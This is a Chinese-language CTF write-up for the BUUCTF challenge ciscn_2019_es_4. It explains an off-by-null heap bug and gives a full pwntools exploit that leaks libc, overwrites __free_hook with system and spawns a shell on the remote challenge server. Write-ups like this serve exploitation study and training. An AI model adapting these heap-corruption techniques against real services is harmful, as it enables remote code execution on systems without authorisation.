Buuctf :【ciscn_2019_es_4】
检查程序:
64位程序,没有开pie保护
漏洞分析:
edit()中存在of by null
利用思路:
1.堆风水构造overlap,指针残留,泄露出libc地址
2.再次堆布局,劫持free_hook,覆写为system
3.free掉’/bin/sh’的堆块,get shell
分析:
1.由于add()中限制了我们申请堆的大小,没法通过直接申请0x420的堆块泄露地址,所以要填满tcache bin,释放后进入unsorted bin中,有32次申请的次数
2.edit()有两次机会,一次用来泄露地址,一次用来劫持free_hook
3.show()函数要有key2才能正常show,所以要给key2赋任意值
exp分析:
先进行堆布局:
for i in range(7):
add(i,0x80,'AAAA')
for i in range(7):
add(i+7,0xf0,'AAAA')#13
#feng shui
add(14,0x80,'AAA')
add(15,0x98,'AAA')
add(16,0xf0,'AAA')
add(17,0x90,'AAA')
for i in range(7):
free(i)
for i in range(7):
free(i+7)
此时bin中:
释放14,16号堆块后就会进入unsorted bin中,利用of by null:
free(14)
edit(15,'A'*0x90 + p64(0x130))
free(16)#触发of by null
for i in range(7):
add(i,0x80,'A')
free(15)
add(14,0xa0,'A'*0x80 + p64(0x90) + p64(0xa0) + p64(0x6022B8))#劫持到key2
连续申请两次,申请到key2
add(18,0x90,'A')
add(19,0x90,'A')#赋值
现在就可以正常使用show()了
残留指针,leak出Libc地址
add(20,0x80,'A')
show(20)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success(hex(leak))
libc_base = leak - 0x3ebc41
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
再次堆风水,构造overlap,劫持到free_hook
add(21,0xe0,'/bin/sh\x00')
add(22,0x80,'AAAA')
add(23,0xb8,'AAAA')
for i in range(7):
add(i+24,0xf0,'A')#30
add(31,0xf0,'A')
for i in range(7):
free(i+24)
for i in range(7):
free(i)
add(32,0xd0,'A')
free(22)
edit(23,'A'*0xb0 + p64(0x150))
free(31)
free(23)
free(14)
add(14,0xe0,'A'*0x80 + p64(0) + p64(0xc0) + p64(free_hook))
劫持到free_hook
add(2,0xb0,'A')
add(3,0xb0,p64(system))
free(21)#get shell
完整exp:
from pwn import *
elf = ELF('./ciscn_2019_es_4')
io = remote('node4.buuoj.cn',27943)
#io = process('./ciscn_2019_es_4')
#libc = elf.libc
libc = ELF('./libc-2.27.so')
context(log_level='debug')
def choice(c):
io.recvuntil('w\n')
io.sendline(str(c))
def add(index,size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.send(content)
def free(index):
choice(2)
io.recvuntil(':')
io.sendline(str(index))
def edit(index,content):
choice(3)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.send(content)
def show(index):
choice(4)
io.recvuntil(':')
io.sendline(str(index))
key2 = 0x6022B8
for i in range(7):
add(i,0x80,'AAAA')
for i in range(7):
add(i+7,0xf0,'AAAA')#13
#feng shui
add(14,0x80,'AAA')
add(15,0x98,'AAA')
add(16,0xf0,'AAA')
add(17,0x90,'AAA')
for i in range(7):
free(i)
for i in range(7):
free(i+7)
free(14)
edit(15,'A'*0x90 + p64(0x130))
free(16)
for i in range(7):
add(i,0x80,'A')
free(15)
add(14,0xa0,'A'*0x80 + p64(0x90) + p64(0xa0) + p64(0x6022B8))
add(18,0x90,'A')
add(19,0x90,'AAAAAAA')
add(20,0x80,'A')
show(20)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success(hex(leak))
libc_base = leak - 0x3ebc41
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
add(21,0xe0,'/bin/sh\x00')
#feng shui
add(22,0x80,'AAAA')
add(23,0xb8,'AAAA')
for i in range(7):
add(i+24,0xf0,'A')#30
add(31,0xf0,'A')
for i in range(7):
free(i+24)
for i in range(7):
free(i)
add(32,0xd0,'A')
free(22)
edit(23,'A'*0xb0 + p64(0x150))
free(31)
free(23)
free(14)
add(14,0xe0,'A'*0x80 + p64(0) + p64(0xc0) + p64(free_hook))
add(2,0xb0,'AA')
add(3,0xb0,p64(system))
free(21)
io.interactive()